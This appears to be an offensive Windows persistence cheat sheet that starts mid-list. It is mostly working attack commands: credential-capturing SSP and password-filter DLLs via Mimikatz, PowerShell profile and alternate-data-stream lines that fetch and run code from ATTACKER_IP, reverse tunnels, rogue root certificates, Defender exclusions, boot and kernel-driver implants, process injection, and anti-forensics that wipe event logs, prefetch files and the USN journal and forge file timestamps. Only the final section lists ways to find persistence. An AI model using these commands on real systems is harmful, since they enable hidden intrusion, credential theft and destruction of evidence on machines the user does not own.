reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t REG_SZ /d "cmd.exe /c start C:\Temp\payload.exe && calc.exe" /f

# === NETSH HELPER DLL ===

# Load malicious DLL as netsh helper
netsh add helper C:\Temp\netshhelper.dll

# Verify
netsh show helper

# Netsh helper DLL must export specific functions
# InitHelperDll, StartHelper, StopHelper

# === PRINT MONITOR ===

# Add malicious print monitor DLL
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\MyMonitor" /v Driver /t REG_SZ /d "evil.dll" /f

# Print monitor DLLs run as SYSTEM
# Requires admin to install

# === LSA AUTHENTICATION PACKAGE ===

# Register malicious authentication package (runs in LSASS)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Authentication Packages" /t REG_MULTI_SZ /d "msv1_0\0evil" /f

# Place DLL in System32
copy evil.dll C:\Windows\System32\evil.dll

# Requires reboot, runs as SYSTEM in LSASS

# === LSA SECURITY SUPPORT PROVIDER (SSP) ===

# Add malicious SSP (captures credentials)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0evil" /f

# Mimilib (Mimikatz SSP)
copy mimilib.dll C:\Windows\System32\mimilib.dll
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /f

# Load SSP without reboot
mimikatz # misc::memssp

# === PASSWORD FILTER DLL ===

# Register password filter (captures password changes)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages" /t REG_MULTI_SZ /d "rassfm\0scecli\0evil" /f

# Place DLL in System32
copy passfilter.dll C:\Windows\System32\passfilter.dll

# Password filter DLL must export PasswordFilter, PasswordChangeNotify

# === TIME PROVIDER ===

# Register malicious time provider
reg add "HKLM\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\EvilTime" /v Enabled /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\EvilTime" /v DllName /t REG_SZ /d "C:\Windows\System32\evil.dll" /f

# === OFFICE PERSISTENCE ===

# Office add-ins (Excel example)
reg add "HKCU\Software\Microsoft\Office\16.0\Excel\Options" /v OPEN /t REG_SZ /d "/r C:\Temp\payload.xlam" /f

# Word startup macro
copy malicious.dotm "%APPDATA%\Microsoft\Word\STARTUP\normal.dotm"

# Excel XLL add-in
copy payload.xll "%APPDATA%\Microsoft\AddIns\analysis.xll"
reg add "HKCU\Software\Microsoft\Office\16.0\Excel\Options" /v OPEN /t REG_SZ /d "/L C:\Users\user\AppData\Roaming\Microsoft\AddIns\analysis.xll" /f

# === BROWSER EXTENSION PERSISTENCE ===

# Chrome extension (requires files on disk)
$extensionPath = "C:\ProgramData\ChromeExtension"
mkdir $extensionPath
# Create manifest.json and background.js
reg add "HKLM\SOFTWARE\Google\Chrome\Extensions\<extension_id>" /v path /t REG_SZ /d $extensionPath /f
reg add "HKLM\SOFTWARE\Google\Chrome\Extensions\<extension_id>" /v version /t REG_SZ /d "1.0" /f

# === POWERSHELL PROFILE ===

# Modify PowerShell profile (runs on PS start)
echo 'IEX(IWR http://ATTACKER_IP/p.ps1)' >> $PROFILE
echo 'IEX(IWR http://ATTACKER_IP/p.ps1)' >> $PROFILE.AllUsersAllHosts

# All users profile (requires admin)
echo 'IEX(IWR http://ATTACKER_IP/p.ps1)' >> "C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1"

# === PORT FORWARDING & PROXIES ===

# Port proxy for persistence beacon
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=4444 connectaddress=ATTACKER_IP

# SSH tunnel (if SSH client available)
ssh -R 4444:localhost:4444 user@ATTACKER_IP -N -f

# === CERTIFICATE PERSISTENCE ===

# Install malicious root certificate (enables MITM)
certutil -addstore -f "Root" evil.cer

# Export legitimate cert, sign malicious executables
# Windows will trust signed binaries

# === GROUP POLICY OBJECT (GPO) PERSISTENCE ===

# Modify GPO to run script (requires Domain Admin)
# Via SYSVOL
copy payload.ps1 "\\domain.local\SYSVOL\domain.local\scripts\startup.ps1"

# Add to GPO startup script
# Computer Configuration > Policies > Windows Settings > Scripts > Startup

# === WINDOWS DEFENDER EXCLUSIONS ===

# Add exclusions (requires admin)
Add-MpPreference -ExclusionPath "C:\Temp"
Add-MpPreference -ExclusionPath "C:\ProgramData"
Add-MpPreference -ExclusionExtension ".exe"
Add-MpPreference -ExclusionProcess "payload.exe"

# Disable real-time monitoring
Set-MpPreference -DisableRealtimeMonitoring $true

# Disable cloud protection
Set-MpPreference -MAPSReporting 0

# === APPLOCKER BYPASS & PERSISTENCE ===

# If AppLocker allows scripts in certain directories
copy payload.ps1 "C:\Windows\System32\spool\drivers\color\update.ps1"
copy payload.exe "C:\Windows\Tasks\payload.exe"

# Writable AppLocker trusted paths (varies by policy)
# C:\Windows\System32\spool\drivers\color\
# C:\Windows\Tasks\
# C:\Windows\tracing\

# === HIDDEN FILES & ALTERNATE DATA STREAMS (ADS) ===

# Hide payload in ADS
type payload.exe > C:\Windows\Temp\normal.txt:hidden.exe
wmic process call create "C:\Windows\Temp\normal.txt:hidden.exe"

# ADS persistence
echo 'IEX(IWR http://ATTACKER_IP/p.ps1)' > C:\Windows\System32\license.txt:payload.ps1
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "powershell -ep bypass -file C:\Windows\System32\license.txt:payload.ps1" /f

# List ADS
dir /r C:\Windows\Temp\
Get-Item C:\Windows\Temp\normal.txt -Stream *

# === BOOTKIT / BOOTLOADER PERSISTENCE ===

# Modify BCD (Boot Configuration Data) - very stealthy
bcdedit /set {current} safeboot minimal
bcdedit /set {default} bootstatuspolicy ignoreallfailures

# Add boot entry
bcdedit /copy {current} /d "Windows Recovery"
bcdedit /set {GUID} path \EFI\Microsoft\Boot\payload.efi

# === ROOTKIT-LEVEL PERSISTENCE ===

# Kernel driver persistence (requires vulnerable driver or admin)
sc create "SystemDriver" binpath= "C:\Windows\System32\drivers\evil.sys" type= kernel start= boot
sc start "SystemDriver"

# Load driver at boot
reg add "HKLM\SYSTEM\CurrentControlSet\Services\EvilDriver" /v ImagePath /t REG_SZ /d "system32\drivers\evil.sys" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\EvilDriver" /v Type /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\EvilDriver" /v Start /t REG_DWORD /d 0 /f

# === POISONING TECHNIQUES ===

# WPAD poisoning (network persistence)
# Set up rogue WPAD server to return malicious PAC file
# Captures credentials and redirects traffic

# LLMNR/NBT-NS poisoning
responder -I eth0 -wrf

# DNS poisoning (if we control DNS or have DNS admin)
# Redirect internal domains to attacker-controlled server

# === PROCESS INJECTION PERSISTENCE ===

# Inject into legitimate process (AV evasion)
# PowerShell process injection
$code = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
// ... injection code
"@
Add-Type $code

# Reflective DLL injection
Invoke-ReflectivePEInjection -PEPath C:\Temp\evil.dll -ProcId 1234

# === CLEANUP & ANTI-FORENSICS ===

# Clear Windows event logs
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
Clear-EventLog -LogName System,Security,Application

# Disable event logging (requires admin)
reg add "HKLM\SYSTEM\CurrentControlSet\Services\EventLog" /v Start /t REG_DWORD /d 4 /f

# Clear PowerShell history
Clear-History
Remove-Item (Get-PSReadlineOption).HistorySavePath

# Clear command history
doskey /reinstall

# Timestomp (change file timestamps)
$(Get-Item C:\Temp\payload.exe).CreationTime = "01/01/2020 00:00:00"
$(Get-Item C:\Temp\payload.exe).LastWriteTime = "01/01/2020 00:00:00"
$(Get-Item C:\Temp\payload.exe).LastAccessTime = "01/01/2020 00:00:00"

# Match timestamps to nearby files
$ref = Get-Item C:\Windows\System32\calc.exe
$(Get-Item C:\Temp\payload.exe).CreationTime = $ref.CreationTime
$(Get-Item C:\Temp\payload.exe).LastWriteTime = $ref.LastWriteTime

# Disable command logging
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 0 -Force
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription" -Name "EnableTranscripting" -Value 0 -Force

# Delete prefetch files (evidence of execution)
del C:\Windows\Prefetch\*.pf

# Disable USN journal (tracks file changes)
fsutil usn deletejournal /D C:

# Clear NTFS $LogFile
# Requires low-level disk access

# === VERIFICATION & TESTING ===

# List all persistence mechanisms
# Registry Run keys
Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"

# Services
Get-Service | Where-Object {$_.StartType -eq "Automatic"}

# Scheduled tasks
Get-ScheduledTask | Where-Object {$_.State -ne "Disabled"}

# Startup items
Get-CimInstance Win32_StartupCommand

# WMI subscriptions
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding